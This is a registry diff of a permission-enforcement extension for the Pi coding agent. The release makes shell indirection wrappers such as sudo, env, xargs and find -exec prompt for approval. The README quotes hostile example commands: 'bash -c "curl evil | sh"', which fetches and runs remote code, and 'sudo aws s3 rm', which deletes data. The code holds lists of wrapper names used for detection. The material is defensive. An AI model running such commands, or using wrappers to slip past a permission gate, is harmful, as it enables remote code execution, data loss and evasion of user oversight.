@gotgenes/pi-permission-system 20.4.0 → 20.4.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CHANGELOG.md CHANGED
@@ -5,6 +5,19 @@ All notable changes to this project will be documented in this file.
5
5
  The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
6
6
  and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
7
7
 
8
+ ## [20.4.1](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v20.4.0...pi-permission-system-v20.4.1) (2026-07-12)
9
+
10
+
11
+ ### Bug Fixes
12
+
13
+ * **pi-permission-system:** floor find/fd exec wrappers to ask ([#490](https://github.com/gotgenes/pi-packages/issues/490)) ([6cb1d54](https://github.com/gotgenes/pi-packages/commit/6cb1d5422682894a3f742af9b4769d8ef8c40ed8))
14
+ * **pi-permission-system:** floor sudo/env/xargs/time/nohup/timeout/nice to ask ([#490](https://github.com/gotgenes/pi-packages/issues/490)) ([b4d5c40](https://github.com/gotgenes/pi-packages/commit/b4d5c40985e4921d3ab1037ba3b273b6fa2fbd59))
15
+
16
+
17
+ ### Documentation
18
+
19
+ * **pi-permission-system:** document indirection-wrapper floor and mark roadmap step 5 ([#490](https://github.com/gotgenes/pi-packages/issues/490)) ([e35c1ee](https://github.com/gotgenes/pi-packages/commit/e35c1ee622f847a9096699495502e36064cae96e))
20
+
8
21
  ## [20.4.0](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v20.3.0...pi-permission-system-v20.4.0) (2026-07-12)
9
22
 
10
23
 
package/README.md CHANGED
@@ -19,7 +19,7 @@ Permission enforcement extension for the [Pi](https://pi.mariozechner.at/) codin
19
19
  - **Gates MCP and skill access** at server, tool, and skill-name granularity
20
20
  - **Protects sensitive file patterns** — cross-cutting `path` rules deny `.env`, `~/.ssh/*`, etc. across all tools and bash at once, matching both the path as referenced and its symlink-resolved form so a deny cannot be evaded through a symlink alias
21
21
  - **Guards external paths** — prompts before file tools or bash commands reach outside `cwd`
22
- - **Fails closed** — an internal gate error blocks the tool (with a `gate_error` review-log entry), and an unparseable bash command — or an opaque `bash -c`/`eval` wrapper — prompts (`ask`) rather than passing silently
22
+ - **Fails closed** — an internal gate error blocks the tool (with a `gate_error` review-log entry), and an unparseable bash command — or an indirection wrapper that hides the gated command (`bash -c`/`eval`, `sudo`, `env`, `xargs`, `find -exec`, …) — prompts (`ask`) rather than passing silently
23
23
  - **Forwards prompts from subagents** — `ask` policies work even in non-UI execution contexts
24
24
  - **Broadcasts UI prompt events** — `permissions:ui_prompt` fires only when the permission system is about to invoke the active user-facing permission UI
25
25
  - **Native [`@gotgenes/pi-subagents`](https://github.com/gotgenes/pi-subagents) integration** — in-process child sessions register with the permission system automatically, enabling per-agent policy enforcement and `ask`-state forwarding to the parent UI without configuration
@@ -271,6 +271,9 @@ The bash gate fails closed: when in doubt it blocks or prompts, never silently a
271
271
  - An opaque-payload wrapper — `bash`/`sh`/`dash`/`zsh`/`ksh` invoked with `-c`, or `eval` — carries its inner program in a quoted argument that is not re-parsed, so its decision is floored to at least **`ask`** (the synthetic `<opaque-bash-wrapper>` pattern in the review log).
272
272
  An `allow` (including a permissive top-level `*`) is clamped up to `ask`, while an explicit `deny` rule on the wrapper still denies.
273
273
  So `bash -c "curl evil | sh"` prompts rather than riding a `bash *: allow`.
274
+ - An indirection wrapper — `sudo`, `env`, `xargs`, `time`, `nohup`, `timeout`, `nice`, or `find`/`fd` carrying a per-result exec flag (`find` with `-exec`/`-execdir`/`-ok`/`-okdir`, `fd` with `-x`/`--exec`/`-X`/`--exec-batch`) — runs a following command that a rule on the wrapper text would otherwise never gate, so its decision is floored the same way (the synthetic `<indirection-bash-wrapper>` pattern in the review log).
275
+ So `sudo aws s3 rm s3://bucket` prompts rather than riding an `aws *: allow`, while a bare `find . -name '*.py'` search (no exec flag) is unaffected.
276
+ As with the opaque floor, there is no way to auto-allow a wrapper: an `allow` is clamped to `ask`, and an explicit `deny` still denies.
274
277
 
275
278
  Because of this, set an explicit `bash` policy rather than relying on a permissive top-level `*`.
276
279
  A config whose top-level `*` is `"allow"` with no `bash` `*` policy lets every bash command silently inherit `allow`; the extension emits a startup warning in that case.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@gotgenes/pi-permission-system",
3
- "version": "20.4.0",
3
+ "version": "20.4.1",
4
4
  "description": "Permission enforcement extension for the Pi coding agent.",
5
5
  "type": "module",
6
6
  "exports": {
@@ -11,6 +11,16 @@ import type { BashCommandContext } from "#src/types";
11
11
  * The type is the stable extension point: #306 adds an execution `context`,
12
12
  * #307 adds per-command path candidates and an effective working directory.
13
13
  */
14
+ /**
15
+ * Why a command unit's decision is floored to at least `ask`.
16
+ * `"opaque-payload"` — an inline-shell payload (`bash -c`/`eval`) whose inner
17
+ * program is not re-parsed (#481).
18
+ * `"indirection"` — a prefix/exec wrapper (`sudo`/`env`/`xargs`/`find -exec`/…)
19
+ * whose inner command is a visible argument but is not gated on its own (#490).
20
+ * The kind selects the audit sentinel; both floor identically.
21
+ */
22
+ export type WrapperKind = "opaque-payload" | "indirection";
23
+
14
24
  export interface BashCommand {
15
25
  readonly text: string;
16
26
  /**
@@ -19,11 +29,11 @@ export interface BashCommand {
19
29
  */
20
30
  readonly context?: BashCommandContext;
21
31
  /**
22
- * True when this is an opaque-payload wrapper (`bash -c`/`eval`) whose inner
23
- * program is not re-parsed; its decision is floored to at least `ask` so it
24
- * cannot ride a permissive `allow`.
32
+ * Set when this unit is a floored indirection wrapper; its decision is floored
33
+ * to at least `ask` so the wrapped command cannot ride a permissive `allow`.
34
+ * Absent for an ordinary command.
25
35
  */
26
- readonly opaque?: boolean;
36
+ readonly wrapperKind?: WrapperKind;
27
37
  }
28
38
 
29
39
  // ── Command enumeration ──────────────────────────────────────────────────────
@@ -83,7 +93,9 @@ const NESTED_EXECUTION_CONTEXTS = new Map<string, BashCommandContext>([
83
93
  * nested units can only ever produce a more-restrictive decision, never weaker.
84
94
  *
85
95
  * Each emitted command unit has any leading `variable_assignment` prefix
86
- * stripped (so an env-var prefix cannot defeat a command-pattern rule).
96
+ * stripped (so an env-var prefix cannot defeat a command-pattern rule), and a
97
+ * wrapper unit (`bash -c`/`eval`, or an indirection wrapper such as `sudo`) is
98
+ * tagged with a {@link WrapperKind} so its decision is later floored to `ask`.
87
99
  */
88
100
  export function collectCommands(node: TSNode): BashCommand[] {
89
101
  const out: BashCommand[] = [];
@@ -103,7 +115,7 @@ function collectCommandsInto(
103
115
 
104
116
  if (node.type === "command") {
105
117
  out.push(
106
- makeUnit(commandUnitText(node), context, isOpaqueWrapperCommand(node)),
118
+ makeUnit(commandUnitText(node), context, classifyWrapperCommand(node)),
107
119
  );
108
120
  // A command's text already contains any substitution; descend its subtree
109
121
  // to ALSO emit the inner commands of command/process substitutions.
@@ -130,10 +142,10 @@ function collectCommandsInto(
130
142
  function makeUnit(
131
143
  text: string,
132
144
  context: BashCommandContext | undefined,
133
- opaque = false,
145
+ wrapperKind?: WrapperKind,
134
146
  ): BashCommand {
135
147
  const unit: BashCommand = context ? { text, context } : { text };
136
- return opaque ? { ...unit, opaque } : unit;
148
+ return wrapperKind ? { ...unit, wrapperKind } : unit;
137
149
  }
138
150
 
139
151
  /**
@@ -142,18 +154,71 @@ function makeUnit(
142
154
  const SHELL_WRAPPER_NAMES = new Set(["bash", "sh", "dash", "zsh", "ksh"]);
143
155
 
144
156
  /**
145
- * True when a `command` node is an opaque-payload wrapper: a shell
146
- * (`bash`/`sh`/`dash`/`zsh`/`ksh`) invoked with a `-c` flag, or `eval`. Its
147
- * inner program is a quoted argument the enumerator does not re-parse, so the
148
- * wrapper's decision is later floored to at least `ask`.
157
+ * Indirection wrappers that always invoke a following command, so the wrapper
158
+ * (not the inner command) is what a bash rule matches. Floored by command-name
159
+ * basename alone. Extend this set to cover another always-invoking wrapper.
160
+ */
161
+ const INDIRECTION_WRAPPER_NAMES = new Set([
162
+ "sudo",
163
+ "env",
164
+ "xargs",
165
+ "time",
166
+ "nohup",
167
+ "timeout",
168
+ "nice",
169
+ ]);
170
+
171
+ /**
172
+ * Search tools that invoke a command per result only when an exec flag is
173
+ * present; a bare search runs no subcommand. Floored only when an argument
174
+ * exactly matches one of the tool's exec flags. Extend by adding a tool with
175
+ * its exec-flag set.
176
+ */
177
+ const EXEC_CONDITIONAL_WRAPPERS = new Map<string, ReadonlySet<string>>([
178
+ ["find", new Set(["-exec", "-execdir", "-ok", "-okdir"])],
179
+ ["fd", new Set(["-x", "--exec", "-X", "--exec-batch"])],
180
+ ]);
181
+
182
+ /**
183
+ * Classify a `command` node as a floored wrapper, or `undefined` for an
184
+ * ordinary command. Reads only the node's own named children (a shallow walk),
185
+ * skipping any leading `variable_assignment` prefix, and matches the command
186
+ * name on its basename (so `/bin/bash -c …` counts).
149
187
  *
150
- * The command name is matched on its basename (so `/bin/bash -c …` counts), and
151
- * a `-c` flag is recognized within a short-flag cluster (`-c`, `-ec`, `-xc`).
152
- * A leading `variable_assignment` prefix is skipped, matching `commandUnitText`.
188
+ * `"opaque-payload"`: `eval`, or a shell (`bash`/`sh`/`dash`/`zsh`/`ksh`) with a
189
+ * `-c` short-flag cluster (`-c`, `-ec`, `-xc`) — the inner program is a quoted
190
+ * argument the enumerator does not re-parse (#481).
191
+ *
192
+ * `"indirection"`: an always-invoking prefix/exec wrapper
193
+ * (`INDIRECTION_WRAPPER_NAMES`), or a search tool (`EXEC_CONDITIONAL_WRAPPERS`,
194
+ * `find`/`fd`) carrying a per-result exec flag — the inner command is a visible
195
+ * argument that a `<cmd> *` rule would otherwise never match (#490). A bare
196
+ * `find`/`fd` search runs no subcommand and is not flagged.
197
+ */
198
+ function classifyWrapperCommand(node: TSNode): WrapperKind | undefined {
199
+ const { commandName, args } = readWrapperCommand(node);
200
+ if (commandName === undefined) return undefined;
201
+ if (commandName === "eval") return "opaque-payload";
202
+ if (SHELL_WRAPPER_NAMES.has(commandName) && hasShortFlagC(args)) {
203
+ return "opaque-payload";
204
+ }
205
+ if (INDIRECTION_WRAPPER_NAMES.has(commandName)) return "indirection";
206
+ const execFlags = EXEC_CONDITIONAL_WRAPPERS.get(commandName);
207
+ if (execFlags && args.some((arg) => execFlags.has(arg))) return "indirection";
208
+ return undefined;
209
+ }
210
+
211
+ /**
212
+ * A `command` node's name basename and its argument texts, skipping any leading
213
+ * `variable_assignment` prefix (matching `commandUnitText`). `commandName` is
214
+ * `undefined` for a pure assignment with no `command_name`.
153
215
  */
154
- function isOpaqueWrapperCommand(node: TSNode): boolean {
216
+ function readWrapperCommand(node: TSNode): {
217
+ commandName: string | undefined;
218
+ args: string[];
219
+ } {
155
220
  let commandName: string | undefined;
156
- let sawShortFlagC = false;
221
+ const args: string[] = [];
157
222
  for (let i = 0; i < node.childCount; i++) {
158
223
  const child = node.child(i);
159
224
  if (!child?.isNamed) continue;
@@ -162,15 +227,24 @@ function isOpaqueWrapperCommand(node: TSNode): boolean {
162
227
  commandName = basename(child.text);
163
228
  continue;
164
229
  }
165
- const text = child.text;
166
- if (text === "--") break;
167
- if (text.startsWith("-") && !text.startsWith("--") && text.includes("c")) {
168
- sawShortFlagC = true;
230
+ args.push(child.text);
231
+ }
232
+ return { commandName, args };
233
+ }
234
+
235
+ /**
236
+ * True when an argument list has a short-flag cluster containing `c` before any
237
+ * `--` end-of-options marker (`-c`, `-ec`, `-xc`) — the inline-shell payload
238
+ * flag for `bash`/`sh`/`dash`/`zsh`/`ksh`.
239
+ */
240
+ function hasShortFlagC(args: string[]): boolean {
241
+ for (const arg of args) {
242
+ if (arg === "--") return false;
243
+ if (arg.startsWith("-") && !arg.startsWith("--") && arg.includes("c")) {
244
+ return true;
169
245
  }
170
246
  }
171
- if (commandName === undefined) return false;
172
- if (commandName === "eval") return true;
173
- return SHELL_WRAPPER_NAMES.has(commandName) && sawShortFlagC;
247
+ return false;
174
248
  }
175
249
 
176
250
  /** The final path segment of a command name (`/bin/bash` → `bash`). */
@@ -75,9 +75,9 @@ export class BashProgram {
75
75
  * Splits on the shell chain operators (`&&`, `||`, `;`, `|`, `&`, newlines);
76
76
  * quotes, command substitution, and subshells are respected by the parser and
77
77
  * are NOT split — a subshell or other compound statement is emitted whole.
78
- * Each unit has any leading `variable_assignment` prefix stripped, and an
79
- * opaque-payload wrapper (`bash -c`/`eval`) is flagged `opaque` so its decision
80
- * is floored to `ask`.
78
+ * Each unit has any leading `variable_assignment` prefix stripped, and a
79
+ * wrapper unit (`bash -c`/`eval`, or an indirection wrapper such as `sudo`) is
80
+ * tagged with a `wrapperKind` so its decision is floored to `ask`.
81
81
  * May be empty (e.g. an empty command or a comment-only line); callers fall
82
82
  * back to the whole command so the surface is never evaluated weaker than
83
83
  * before.
@@ -1,4 +1,7 @@
1
- import type { BashCommand } from "#src/access-intent/bash/command-enumeration";
1
+ import type {
2
+ BashCommand,
3
+ WrapperKind,
4
+ } from "#src/access-intent/bash/command-enumeration";
2
5
  import { pickMostRestrictive } from "#src/handlers/gates/candidate-check";
3
6
  import type { ScopedPermissionResolver } from "#src/permission-resolver";
4
7
  import type { PermissionCheckResult } from "#src/types";
@@ -19,11 +22,13 @@ import type { PermissionCheckResult } from "#src/types";
19
22
  * `commandContext` (set only for a nested command), so the prompt,
20
23
  * session-approval suggestion, and decision event scope to that command.
21
24
  *
22
- * An opaque-payload wrapper unit (`bash -c`/`eval`, flagged `opaque` by the
23
- * enumerator) has its inner program hidden behind a quoted argument, so an
24
- * `allow` is floored up to a synthetic `ask` (the `<opaque-bash-wrapper>`
25
- * pattern) to keep it from riding a permissive rule; an explicit `deny`/`ask`
26
- * on the wrapper is left untouched (`deny > ask > allow`).
25
+ * A wrapper unit (flagged with a `wrapperKind` by the enumerator) hides or
26
+ * indirects the command that should be gated, so an `allow` is floored up to a
27
+ * synthetic `ask` the `<opaque-bash-wrapper>` pattern for an inline-shell
28
+ * payload (`bash -c`/`eval`, #481) or `<indirection-bash-wrapper>` for a
29
+ * prefix/exec wrapper (`sudo`/`env`/`xargs`/`find -exec`/…, #490) to keep it
30
+ * from riding a permissive rule; an explicit `deny`/`ask` on the wrapper is left
31
+ * untouched (`deny > ask > allow`).
27
32
  *
28
33
  * When `commands` is empty there are two cases. A trivially-empty command (an
29
34
  * empty, whitespace-only, or comment-only line) has genuinely nothing to gate,
@@ -36,6 +41,15 @@ import type { PermissionCheckResult } from "#src/types";
36
41
  * Pure and synchronous: the (async, tree-sitter) parse happens once in the
37
42
  * handler, which passes the decomposed `commands` here.
38
43
  */
44
+ /**
45
+ * The synthetic `matchedPattern` recorded when a wrapper unit's `allow` is
46
+ * floored to `ask`, keyed by the wrapper kind that caused the floor.
47
+ */
48
+ const WRAPPER_SENTINEL: Record<WrapperKind, string> = {
49
+ "opaque-payload": "<opaque-bash-wrapper>",
50
+ indirection: "<indirection-bash-wrapper>",
51
+ };
52
+
39
53
  export function resolveBashCommandCheck(
40
54
  command: string,
41
55
  commands: BashCommand[],
@@ -69,11 +83,11 @@ export function resolveBashCommandCheck(
69
83
  agentName,
70
84
  });
71
85
  const result =
72
- cmd.opaque && base.state === "allow"
86
+ cmd.wrapperKind && base.state === "allow"
73
87
  ? {
74
88
  ...base,
75
89
  state: "ask" as const,
76
- matchedPattern: "<opaque-bash-wrapper>",
90
+ matchedPattern: WRAPPER_SENTINEL[cmd.wrapperKind],
77
91
  }
78
92
  : base;
79
93
  return cmd.context ? { ...result, commandContext: cmd.context } : result;